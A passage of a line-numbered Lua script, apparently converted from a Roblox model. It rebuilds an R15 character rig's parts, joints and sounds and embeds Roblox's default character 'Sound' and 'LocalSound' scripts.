  541. Motor6D52.C1 = CFrame.new(5.96046448e-08, 0.524999976, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  542. Motor6D52.Part0 = MeshPart10
  543. Motor6D52.Part1 = MeshPart48
  544. Motor6D52.part1 = MeshPart48
  545. MeshPart53.Name = "RightLowerArm"
  546. MeshPart53.Parent = Model5
  547. MeshPart53.CFrame = CFrame.new(230.055588, 2.99249268, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  548. MeshPart53.Orientation = Vector3.new(0, 162.570007, 0)
  549. MeshPart53.Position = Vector3.new(230.055588, 2.99249268, -19.8853436)
  550. MeshPart53.Rotation = Vector3.new(-180, 17.4300003, -180)
  551. MeshPart53.Color = Color3.new(0.917647, 0.721569, 0.572549)
  552. MeshPart53.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  553. MeshPart53.Size = Vector3.new(0.999999762, 1.26000023, 1)
  554. MeshPart53.Anchored = true
  555. MeshPart53.BrickColor = BrickColor.new("Light orange")
  556. MeshPart53.CanCollide = false
  557. MeshPart53.Locked = true
  558. MeshPart53.brickColor = BrickColor.new("Light orange")
  559. Vector3Value54.Name = "OriginalPosition"
  560. Vector3Value54.Parent = mas
  561. Vector3Value54.Value = Vector3.new(1.1920929e-07, 0.25000003, 7.64462551e-20)
  562. Vector3Value55.Name = "OriginalPosition"
  563. Vector3Value55.Parent = mas
  564. Vector3Value55.Value = Vector3.new(1.1920929e-07, -0.549999952, -6.86244753e-18)
  565. Vector3Value56.Name = "OriginalSize"
  566. Vector3Value56.Parent = MeshPart53
  567. Vector3Value56.Value = Vector3.new(0.999999762, 1.20000029, 1)
  568. Motor6D57.Name = "RightElbow"
  569. Motor6D57.Parent = MeshPart53
  570. Motor6D57.C0 = CFrame.new(-5.96046448e-07, -0.210000172, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  571. Motor6D57.C1 = CFrame.new(1.1920929e-07, 0.262500018, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  572. Motor6D57.Part0 = MeshPart25
  573. Motor6D57.Part1 = MeshPart53
  574. Motor6D57.part1 = MeshPart53
  575. Part58.Name = "Head"
  576. Part58.Parent = Model5
  577. Part58.CFrame = CFrame.new(231.48671, 4.69999313, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  578. Part58.Orientation = Vector3.new(0, 162.570007, 0)
  579. Part58.Position = Vector3.new(231.48671, 4.69999313, -19.4360275)
  580. Part58.Rotation = Vector3.new(-180, 17.4300003, -180)
  581. Part58.Color = Color3.new(0.917647, 0.721569, 0.572549)
  582. Part58.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  583. Part58.Size = Vector3.new(2, 1, 1)
  584. Part58.Anchored = true
  585. Part58.BottomSurface = Enum.SurfaceType.Smooth
  586. Part58.BrickColor = BrickColor.new("Light orange")
  587. Part58.Locked = true
  588. Part58.TopSurface = Enum.SurfaceType.Smooth
  589. Part58.brickColor = BrickColor.new("Light orange")
  590. SpecialMesh59.Parent = Part58
  591. SpecialMesh59.Scale = Vector3.new(1.25, 1.25, 1.25)
  592. Vector3Value60.Name = "OriginalSize"
  593. Vector3Value60.Parent = SpecialMesh59
  594. Vector3Value60.Value = Vector3.new(1.25, 1.25, 1.25)
  595. Vector3Value61.Name = "OriginalPosition"
  596. Vector3Value61.Parent = mas
  597. Vector3Value62.Name = "OriginalPosition"
  598. Vector3Value62.Parent = mas
  599. Vector3Value62.Value = Vector3.new(0, 0, -0.600000024)
  600. Vector3Value63.Name = "OriginalPosition"
  601. Vector3Value63.Parent = mas
  602. Vector3Value63.Value = Vector3.new(0, 0.600000024, 0)
  603. Vector3Value64.Name = "OriginalPosition"
  604. Vector3Value64.Parent = mas
  605. Vector3Value64.Value = Vector3.new(0, 0.600000024, 0)
  606. Vector3Value65.Name = "OriginalPosition"
  607. Vector3Value65.Parent = mas
  608. Vector3Value65.Value = Vector3.new(0, -0.5, 0)
  609. Decal66.Name = "face"
  610. Decal66.Parent = Part58
  611. Decal66.Texture = "http://www.roblox.com/asset/?id=7074749"
  612. Vector3Value67.Name = "OriginalSize"
  613. Vector3Value67.Parent = Part58
  614. Vector3Value67.Value = Vector3.new(2, 1, 1)
  615. Motor6D68.Name = "Neck"
  616. Motor6D68.Parent = Part58
  617. Motor6D68.C0 = CFrame.new(-5.96046448e-08, 0.839999914, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  618. Motor6D68.C1 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  619. Motor6D68.Part0 = MeshPart36
  620. Motor6D68.Part1 = Part58
  621. Motor6D68.part1 = Part58
  622. Sound69.Name = "GettingUp"
  623. Sound69.Parent = Part58
  624. Sound69.MaxDistance = 150
  625. Sound69.EmitterSize = 5
  626. Sound69.MinDistance = 5
  627. Sound69.SoundId = "rbxasset://sounds/action_get_up.mp3"
  628. Sound69.Volume = 0.64999997615814
  629. Sound70.Name = "Died"
  630. Sound70.Parent = Part58
  631. Sound70.MaxDistance = 150
  632. Sound70.EmitterSize = 5
  633. Sound70.MinDistance = 5
  634. Sound70.SoundId = "rbxasset://sounds/uuhhh.mp3"
  635. Sound70.Volume = 0.64999997615814
  636. Sound71.Name = "FreeFalling"
  637. Sound71.Parent = Part58
  638. Sound71.Looped = true
  639. Sound71.MaxDistance = 150
  640. Sound71.EmitterSize = 5
  641. Sound71.MinDistance = 5
  642. Sound71.SoundId = "rbxasset://sounds/action_falling.mp3"
  643. Sound71.Volume = 0
  644. Sound72.Name = "Jumping"
  645. Sound72.Parent = Part58
  646. Sound72.MaxDistance = 150
  647. Sound72.EmitterSize = 5
  648. Sound72.MinDistance = 5
  649. Sound72.SoundId = "rbxasset://sounds/action_jump.mp3"
  650. Sound72.Volume = 0.64999997615814
  651. Sound73.Name = "Landing"
  652. Sound73.Parent = Part58
  653. Sound73.MaxDistance = 150
  654. Sound73.EmitterSize = 5
  655. Sound73.MinDistance = 5
  656. Sound73.SoundId = "rbxasset://sounds/action_jump_land.mp3"
  657. Sound73.Volume = 1
  658. Sound74.Name = "Splash"
  659. Sound74.Parent = Part58
  660. Sound74.MaxDistance = 150
  661. Sound74.EmitterSize = 5
  662. Sound74.MinDistance = 5
  663. Sound74.SoundId = "rbxasset://sounds/impact_water.mp3"
  664. Sound74.Volume = 0.64999997615814
  665. Sound75.Name = "Running"
  666. Sound75.Parent = Part58
  667. Sound75.Looped = true
  668. Sound75.MaxDistance = 150
  669. Sound75.EmitterSize = 5
  670. Sound75.MinDistance = 5
  671. Sound75.Pitch = 1.8500000238419
  672. Sound75.PlaybackSpeed = 1.8500000238419
  673. Sound75.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
  674. Sound75.Volume = 0.64999997615814
  675. Sound76.Name = "Swimming"
  676. Sound76.Parent = Part58
  677. Sound76.Looped = true
  678. Sound76.MaxDistance = 150
  679. Sound76.EmitterSize = 5
  680. Sound76.MinDistance = 5
  681. Sound76.Pitch = 1.6000000238419
  682. Sound76.PlaybackSpeed = 1.6000000238419
  683. Sound76.SoundId = "rbxasset://sounds/action_swim.mp3"
  684. Sound76.Volume = 0.64999997615814
  685. Sound77.Name = "Climbing"
  686. Sound77.Parent = Part58
  687. Sound77.Looped = true
  688. Sound77.MaxDistance = 150
  689. Sound77.EmitterSize = 5
  690. Sound77.MinDistance = 5
  691. Sound77.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
  692. Sound77.Volume = 0.64999997615814
  693. MeshPart78.Name = "LeftUpperArm"
  694. MeshPart78.Parent = Model5
  695. MeshPart78.CFrame = CFrame.new(232.917831, 3.464993, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  696. MeshPart78.Orientation = Vector3.new(0, 162.570007, 0)
  697. MeshPart78.Position = Vector3.new(232.917831, 3.464993, -18.9867115)
  698. MeshPart78.Rotation = Vector3.new(-180, 17.4300003, -180)
  699. MeshPart78.Color = Color3.new(0.917647, 0.721569, 0.572549)
  700. MeshPart78.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  701. MeshPart78.Size = Vector3.new(0.999999762, 1.47000027, 0.99999994)
  702. MeshPart78.Anchored = true
  703. MeshPart78.BrickColor = BrickColor.new("Light orange")
  704. MeshPart78.CanCollide = false
  705. MeshPart78.Locked = true
  706. MeshPart78.brickColor = BrickColor.new("Light orange")
  707. Vector3Value79.Name = "OriginalPosition"
  708. Vector3Value79.Parent = mas
  709. Vector3Value79.Value = Vector3.new(0.250109196, 0.449999809, 8.94069672e-08)
  710. Vector3Value80.Name = "OriginalPosition"
  711. Vector3Value80.Parent = mas
  712. Vector3Value80.Value = Vector3.new(0.000479102135, -0.200000167, 8.94069672e-08)
  713. Vector3Value81.Name = "OriginalPosition"
  714. Vector3Value81.Parent = mas
  715. Vector3Value81.Value = Vector3.new(2.38418579e-07, 0.700000286, -2.70968314e-08)
  716. Vector3Value82.Name = "OriginalSize"
  717. Vector3Value82.Parent = MeshPart78
  718. Vector3Value82.Value = Vector3.new(0.999999762, 1.40000033, 0.99999994)
  719. Motor6D83.Name = "LeftShoulder"
  720. Motor6D83.Parent = MeshPart78
  721. Motor6D83.C0 = CFrame.new(-1.24989128, 0.577499926, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  722. Motor6D83.C1 = CFrame.new(0.250109196, 0.472499788, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  723. Motor6D83.Part0 = MeshPart36
  724. Motor6D83.Part1 = MeshPart78
  725. Motor6D83.part1 = MeshPart78
  726. MeshPart84.Name = "RightLowerLeg"
  727. MeshPart84.Parent = Model5
  728. MeshPart84.CFrame = CFrame.new(231.009674, 0.997493148, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  729. MeshPart84.Orientation = Vector3.new(0, 162.570007, 0)
  730. MeshPart84.Position = Vector3.new(231.009674, 0.997493148, -19.5858002)
  731. MeshPart84.Rotation = Vector3.new(-180, 17.4300003, -180)
  732. MeshPart84.Color = Color3.new(0.917647, 0.721569, 0.572549)
  733. MeshPart84.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  734. MeshPart84.Size = Vector3.new(0.99999994, 1.57500052, 1.00000012)
  735. MeshPart84.Anchored = true
  736. MeshPart84.BrickColor = BrickColor.new("Light orange")
  737. MeshPart84.CanCollide = false
  738. MeshPart84.Locked = true
  739. MeshPart84.brickColor = BrickColor.new("Light orange")
  740. Vector3Value85.Name = "OriginalPosition"
  741. Vector3Value85.Parent = mas
  742. Vector3Value85.Value = Vector3.new(-0, 0.249999627, 4.35260044e-05)
  743. Vector3Value86.Name = "OriginalPosition"
  744. Vector3Value86.Parent = mas
  745. Vector3Value86.Value = Vector3.new(-0, -0.750000477, 9.82746205e-05)
  746. Vector3Value87.Name = "OriginalSize"
  747. Vector3Value87.Parent = MeshPart84
  748. Vector3Value87.Value = Vector3.new(0.99999994, 1.50000036, 1.00000012)
  749. Motor6D88.Name = "RightKnee"
  750. Motor6D88.Parent = MeshPart84
  751. Motor6D88.C0 = CFrame.new(-0, -0.314999968, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  752. Motor6D88.C1 = CFrame.new(-0, 0.26249963, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  753. Motor6D88.Part0 = MeshPart106
  754. Motor6D88.Part1 = MeshPart84
  755. Motor6D88.part1 = MeshPart84
  756. MeshPart89.Name = "LeftFoot"
  757. MeshPart89.Parent = Model5
  758. MeshPart89.CFrame = CFrame.new(231.963745, 0.157493234, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  759. MeshPart89.Orientation = Vector3.new(0, 162.570007, 0)
  760. MeshPart89.Position = Vector3.new(231.963745, 0.157493234, -19.2862549)
  761. MeshPart89.Rotation = Vector3.new(-180, 17.4300003, -180)
  762. MeshPart89.Color = Color3.new(0.917647, 0.721569, 0.572549)
  763. MeshPart89.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  764. MeshPart89.Size = Vector3.new(1, 0.315000176, 1)
  765. MeshPart89.Anchored = true
  766. MeshPart89.BrickColor = BrickColor.new("Light orange")
  767. MeshPart89.CanCollide = false
  768. MeshPart89.Locked = true
  769. MeshPart89.brickColor = BrickColor.new("Light orange")
  770. Vector3Value90.Name = "OriginalPosition"
  771. Vector3Value90.Parent = mas
  772. Vector3Value90.Value = Vector3.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07)
  773. Vector3Value91.Name = "OriginalSize"
  774. Vector3Value91.Parent = MeshPart89
  775. Vector3Value91.Value = Vector3.new(1, 0.300000191, 1)
  776. Motor6D92.Name = "LeftAnkle"
  777. Motor6D92.Parent = MeshPart89
  778. Motor6D92.C0 = CFrame.new(-1.78813934e-07, -0.787497461, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  779. Motor6D92.C1 = CFrame.new(-2.38418579e-07, 0.0525027029, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  780. Motor6D92.Part0 = MeshPart31
  781. Motor6D92.Part1 = MeshPart89
  782. Motor6D92.part1 = MeshPart89
  783. MeshPart93.Name = "LeftLowerArm"
  784. MeshPart93.Parent = Model5
  785. MeshPart93.CFrame = CFrame.new(232.917831, 2.99249268, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  786. MeshPart93.Orientation = Vector3.new(0, 162.570007, 0)
  787. MeshPart93.Position = Vector3.new(232.917831, 2.99249268, -18.9867115)
  788. MeshPart93.Rotation = Vector3.new(-180, 17.4300003, -180)
  789. MeshPart93.Color = Color3.new(0.917647, 0.721569, 0.572549)
  790. MeshPart93.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  791. MeshPart93.Size = Vector3.new(0.999999762, 1.26000023, 1)
  792. MeshPart93.Anchored = true
  793. MeshPart93.BrickColor = BrickColor.new("Light orange")
  794. MeshPart93.CanCollide = false
  795. MeshPart93.Locked = true
  796. MeshPart93.brickColor = BrickColor.new("Light orange")
  797. Vector3Value94.Name = "OriginalPosition"
  798. Vector3Value94.Parent = mas
  799. Vector3Value94.Value = Vector3.new(0.000478506088, 0.25000003, 7.64462551e-20)
  800. Vector3Value95.Name = "OriginalPosition"
  801. Vector3Value95.Parent = mas
  802. Vector3Value95.Value = Vector3.new(0.000478506088, -0.549999952, 7.64462551e-20)
  803. Vector3Value96.Name = "OriginalSize"
  804. Vector3Value96.Parent = MeshPart93
  805. Vector3Value96.Value = Vector3.new(0.999999762, 1.20000029, 1)
  806. Motor6D97.Name = "LeftElbow"
  807. Motor6D97.Parent = MeshPart93
  808. Motor6D97.C0 = CFrame.new(0.000479102135, -0.210000172, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  809. Motor6D97.C1 = CFrame.new(0.000478506088, 0.262500018, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  810. Motor6D97.Part0 = MeshPart78
  811. Motor6D97.Part1 = MeshPart93
  812. Motor6D97.part1 = MeshPart93
  813. MeshPart98.Name = "LeftHand"
  814. MeshPart98.Parent = Model5
  815. MeshPart98.CFrame = CFrame.new(232.917831, 2.25749278, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  816. MeshPart98.Orientation = Vector3.new(0, 162.570007, 0)
  817. MeshPart98.Position = Vector3.new(232.917831, 2.25749278, -18.9867115)
  818. MeshPart98.Rotation = Vector3.new(-180, 17.4300003, -180)
  819. MeshPart98.Color = Color3.new(0.917647, 0.721569, 0.572549)
  820. MeshPart98.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  821. MeshPart98.Size = Vector3.new(0.999999762, 0.314999968, 0.999999881)
  822. MeshPart98.Anchored = true
  823. MeshPart98.BrickColor = BrickColor.new("Light orange")
  824. MeshPart98.CanCollide = false
  825. MeshPart98.Locked = true
  826. MeshPart98.brickColor = BrickColor.new("Light orange")
  827. Vector3Value99.Name = "OriginalPosition"
  828. Vector3Value99.Parent = mas
  829. Vector3Value99.Value = Vector3.new(0.000478863716, 0.149999991, 5.96046448e-08)
  830. Vector3Value100.Name = "OriginalPosition"
  831. Vector3Value100.Parent = mas
  832. Vector3Value100.Value = Vector3.new(-1.1920929e-07, -0.149999633, -1.46306121e-07)
  833. Vector3Value101.Name = "OriginalSize"
  834. Vector3Value101.Parent = MeshPart98
  835. Vector3Value101.Value = Vector3.new(0.999999762, 0.299999982, 0.999999881)
  836. Motor6D102.Name = "LeftWrist"
  837. Motor6D102.Parent = MeshPart98
  838. Motor6D102.C0 = CFrame.new(0.000478506088, -0.577499926, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  839. Motor6D102.C1 = CFrame.new(0.000478863716, 0.157499984, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  840. Motor6D102.Part0 = MeshPart93
  841. Motor6D102.Part1 = MeshPart98
  842. Motor6D102.part1 = MeshPart98
  843. Part103.Name = "HumanoidRootPart"
  844. Part103.Parent = Model5
  845. Part103.CFrame = CFrame.new(231.48671, 3.14999294, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  846. Part103.Orientation = Vector3.new(0, 162.570007, 0)
  847. Part103.Position = Vector3.new(231.48671, 3.14999294, -19.4360275)
  848. Part103.Rotation = Vector3.new(-180, 17.4300003, -180)
  849. Part103.Color = Color3.new(0.623529, 0.631373, 0.67451)
  850. Part103.Transparency = 1
  851. Part103.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  852. Part103.Size = Vector3.new(2, 2.0999999, 1)
  853. Part103.Anchored = true
  854. Part103.BrickColor = BrickColor.new("Fossil")
  855. Part103.Locked = true
  856. Part103.brickColor = BrickColor.new("Fossil")
  857. Vector3Value104.Name = "OriginalPosition"
  858. Vector3Value104.Parent = mas
  859. Vector3Value105.Name = "OriginalSize"
  860. Vector3Value105.Parent = Part103
  861. Vector3Value105.Value = Vector3.new(2, 2, 1)
  862. MeshPart106.Name = "RightUpperLeg"
  863. MeshPart106.Parent = Model5
  864. MeshPart106.CFrame = CFrame.new(231.009674, 1.57499278, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  865. MeshPart106.Orientation = Vector3.new(0, 162.570007, 0)
  866. MeshPart106.Position = Vector3.new(231.009674, 1.57499278, -19.5858002)
  867. MeshPart106.Rotation = Vector3.new(-180, 17.4300003, -180)
  868. MeshPart106.Color = Color3.new(0.917647, 0.721569, 0.572549)
  869. MeshPart106.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  870. MeshPart106.Size = Vector3.new(1.00000048, 1.57499981, 0.999999881)
  871. MeshPart106.Anchored = true
  872. MeshPart106.BrickColor = BrickColor.new("Light orange")
  873. MeshPart106.CanCollide = false
  874. MeshPart106.Locked = true
  875. MeshPart106.brickColor = BrickColor.new("Light orange")
  876. Vector3Value107.Name = "OriginalPosition"
  877. Vector3Value107.Parent = mas
  878. Vector3Value107.Value = Vector3.new(-0, 0.5, -1.04308128e-07)
  879. Vector3Value108.Name = "OriginalPosition"
  880. Vector3Value108.Parent = mas
  881. Vector3Value108.Value = Vector3.new(-0, -0.299999952, 4.36005103e-05)
  882. Vector3Value109.Name = "OriginalSize"
  883. Vector3Value109.Parent = MeshPart106
  884. Vector3Value109.Value = Vector3.new(1.00000048, 1.49999976, 0.999999881)
  885. Motor6D110.Name = "RightHip"
  886. Motor6D110.Parent = MeshPart106
  887. Motor6D110.C0 = CFrame.new(0.499999881, -0.209999949, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  888. Motor6D110.C1 = CFrame.new(-0, 0.525000036, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  889. Motor6D110.Part0 = MeshPart10
  890. Motor6D110.Part1 = MeshPart106
  891. Motor6D110.part1 = MeshPart106
  892. Humanoid111.Parent = Model5
  893. Humanoid111.HipHeight = 2.1000001430511
  894. Humanoid111.RigType = Enum.HumanoidRigType.R15
  895. Humanoid111.Torso = Part103
  896. NumberValue112.Name = "BodyWidthScale"
  897. NumberValue112.Parent = Humanoid111
  898. NumberValue112.Value = 1
  899. NumberValue113.Name = "BodyHeightScale"
  900. NumberValue113.Parent = Humanoid111
  901. NumberValue113.Value = 1.0499999523163
  902. NumberValue114.Name = "BodyDepthScale"
  903. NumberValue114.Parent = Humanoid111
  904. NumberValue114.Value = 1
  905. NumberValue115.Name = "HeadScale"
  906. NumberValue115.Parent = Humanoid111
  907. NumberValue115.Value = 1
  908. Script116.Name = "Sound"
  909. Script116.Parent = Model5
  910. table.insert(cors,sandbox(Script116,function()
  911. --[[
  912. Author: @spotco
  913. This script creates sounds which are placed under the character head.
  914. These sounds are used by the "LocalSound" script.
  915.  
  916. To modify this script, copy it to your "StarterPlayer/StarterCharacterScripts" folder keeping the same script name ("Sound").
  917. The default Sound script loaded for every character will then be replaced with your copy of the script.
  918. ]]--
  919.  
  920. function CreateNewSound(name, id, looped, pitch, parent)
  921. local sound = Instance.new("Sound")
  922. sound.SoundId = id
  923. sound.Name = name
  924. sound.archivable = false
  925. sound.Parent = parent
  926. sound.Pitch = pitch
  927. sound.Looped = looped
  928.  
  929. sound.MinDistance = 5
  930. sound.MaxDistance = 150
  931. sound.Volume = 0.65
  932.  
  933. return sound
  934. end
  935.  
  936. local head = script.Parent:FindFirstChild("Head")
  937. if head == nil then
  938. error("Sound script parent has no child Head.")
  939. return
  940. end
  941.  
  942.  
  943. CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1, head)
  944. CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1, head)
  945. CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1, head)
  946. CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1, head)
  947. CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1, head)
  948. CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1, head)
  949. CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85, head)
  950. CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6, head)
  951. CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1, head)
  952. end))
  953. LocalScript117.Name = "LocalSound"
  954. LocalScript117.Parent = Script116
  955. table.insert(cors,sandbox(LocalScript117,function()
  956. --[[
  957.  
  958. Author: @spotco
  959.  
  960. This script runs locally for the player of the given humanoid.
  961.  
  962. This script triggers humanoid sound play/pause actions locally.
  963.  
  964.  
  965.  
  966. The Playing/TimePosition properties of Sound objects bypass FilteringEnabled, so this triggers the sound
  967.  
  968. immediately for the player and is replicated to all other players.
  969.  
  970.  
  971.  
  972. This script is optimized to reduce network traffic through minimizing the amount of property replication.
  973.  
  974. ]]--
  975.  
  976.  
  977.  
  978. --All sounds are referenced by this ID
  979.  
  980. local SFX = {
  981.  
  982. Died = 0;
  983.  
  984. Running = 1;
  985.  
  986. Swimming = 2;
  987.  
  988. Climbing = 3,
  989.  
  990. Jumping = 4;
  991.  
  992. GettingUp = 5;
  993.  
  994. FreeFalling = 6;
  995.  
  996. FallingDown = 7;
  997.  
  998. Landing = 8;
  999.  
  1000. Splash = 9;
  1001.  
  1002. }
  1003.  
  1004.  
  1005.  
  1006. local Humanoid = nil
  1007.  
  1008. local Head = nil
  1009.  
  1010.  
  1011.  
  1012. --SFX ID to Sound object
  1013.  
  1014. local Sounds = {}
  1015.  
  1016.  
  1017.  
  1018. do
  1019.  
  1020. local Figure = script.Parent.Parent
  1021.  
  1022. Head = Figure:WaitForChild("Head")
  1023.  
  1024. while not Humanoid do
  1025.  
  1026. for _,NewHumanoid in pairs(Figure:GetChildren()) do
  1027.  
  1028. if NewHumanoid:IsA("Humanoid") then
  1029.  
  1030. Humanoid = NewHumanoid
  1031.  
  1032. break
  1033.  
  1034. end
  1035.  
  1036. end
  1037.  
  1038. Figure.ChildAdded:wait()
  1039.  
  1040. end
  1041.  
  1042.  
  1043.  
  1044. Sounds[SFX.Died] = Head:WaitForChild("Died")
  1045.  
  1046. Sounds[SFX.Running] = Head:WaitForChild("Running")
  1047.  
  1048. Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
  1049.  
  1050. Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
  1051.  
  1052. Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
  1053.  
  1054. Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
  1055.  
  1056. Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
  1057.  
  1058. Sounds[SFX.Landing] = Head:WaitForChild("Landing")
  1059.  
  1060. Sounds[SFX.Splash] = Head:WaitForChild("Splash")
  1061.  
  1062. end
  1063.  
  1064.  
  1065.  
  1066. local Util
  1067.  
  1068. Util = {
  1069.  
  1070.  
  1071.  
  1072. --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
  1073.  
  1074. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
  1075.  
  1076. --(y - y1)/(x - x1) = m
  1077.  
  1078. local m = (pt1y - pt2y) / (pt1x - pt2x)
  1079.  
  1080. --float b = pt1.y - m * pt1.x;
  1081.  
  1082. local b = (pt1y - m * pt1x)
  1083.  
  1084. return m * x + b
  1085.  
  1086. end;
  1087.  
  1088.  
  1089.  
  1090. --Clamps the value of "val" between the "min" and "max"
  1091.  
  1092. Clamp = function(val,min,max)
  1093.  
  1094. return math.min(max,math.max(min,val))
  1095.  
  1096. end;
  1097.  
  1098.  
  1099.  
  1100. --Gets the horizontal (x,z) velocity magnitude of the given part
  1101.  
  1102. HorizontalSpeed = function(Head)
  1103.  
  1104. local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
  1105.  
  1106. return hVel.magnitude
  1107.  
  1108. end;
  1109.  
  1110.  
  1111.  
  1112. --Gets the vertical (y) velocity magnitude of the given part
  1113.  
  1114. VerticalSpeed = function(Head)
  1115.  
  1116. return math.abs(Head.Velocity.Y)
  1117.  
  1118. end;
  1119.  
  1120.  
  1121.  
  1122. --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
  1123.  
  1124. --If these properties are enabled, use them.
  1125.  
  1126. Play = function(sound)
  1127.  
  1128. if sound.TimePosition ~= 0 then
  1129.  
  1130. sound.TimePosition = 0
  1131.  
  1132. end
  1133.  
  1134. if not sound.IsPlaying then
  1135.  
  1136. sound.Playing = true
  1137.  
  1138. end
  1139.  
  1140. end;
  1141.  
  1142. Pause = function(sound)
  1143.  
  1144. if sound.IsPlaying then
  1145.  
  1146. sound.Playing = false
  1147.  
  1148. end
  1149.  
  1150. end;
  1151.  
  1152. Resume = function(sound)
  1153.  
  1154. if not sound.IsPlaying then
  1155.  
  1156. sound.Playing = true
  1157.  
  1158. end
  1159.  
  1160. end;
  1161.  
  1162. Stop = function(sound)
  1163.  
  1164. if sound.IsPlaying then
  1165.  
  1166. sound.Playing = false
  1167.  
  1168. end
  1169.  
  1170. if sound.TimePosition ~= 0 then
  1171.  
  1172. sound.TimePosition = 0
  1173.  
  1174. end
  1175.  
  1176. end;
  1177.  
  1178. }
  1179.  
  1180.  
  1181.  
  1182. do
  1183.  
  1184. -- List of all active Looped sounds
  1185.  
  1186. local playingLoopedSounds = {}
  1187.  
  1188.  
  1189.  
  1190. -- Last seen Enum.HumanoidStateType
  1191.  
  1192. local activeState = nil
  1193.  
  1194.  
  1195.  
  1196. -- Verify and set that "sound" is in "playingLoopedSounds".
  1197.  
  1198. function setSoundInPlayingLoopedSounds(sound)
  1199.  
  1200. for i=1, #playingLoopedSounds do
  1201.  
  1202. if playingLoopedSounds[i] == sound then
  1203.  
  1204. return
  1205.  
  1206. end
  1207.  
  1208. end
  1209.  
  1210. table.insert(playingLoopedSounds,sound)
  1211.  
  1212. end
  1213.  
  1214.  
  1215.  
  1216. -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
  1217.  
  1218. function stopPlayingLoopedSoundsExcept(except)
  1219.  
  1220. for i=#playingLoopedSounds,1,-1 do
  1221.  
  1222. if playingLoopedSounds[i] ~= except then
  1223.  
  1224. Util.Pause(playingLoopedSounds[i])
  1225.  
  1226. table.remove(playingLoopedSounds,i)
  1227.  
  1228. end
  1229.  
  1230. end
  1231.  
  1232. end
  1233.  
  1234.  
  1235.  
  1236. -- Table of Enum.HumanoidStateType to handling function
  1237.  
  1238. local stateUpdateHandler = {
  1239.  
  1240. [Enum.HumanoidStateType.Dead] = function()
  1241.  
  1242. stopPlayingLoopedSoundsExcept()
  1243.  
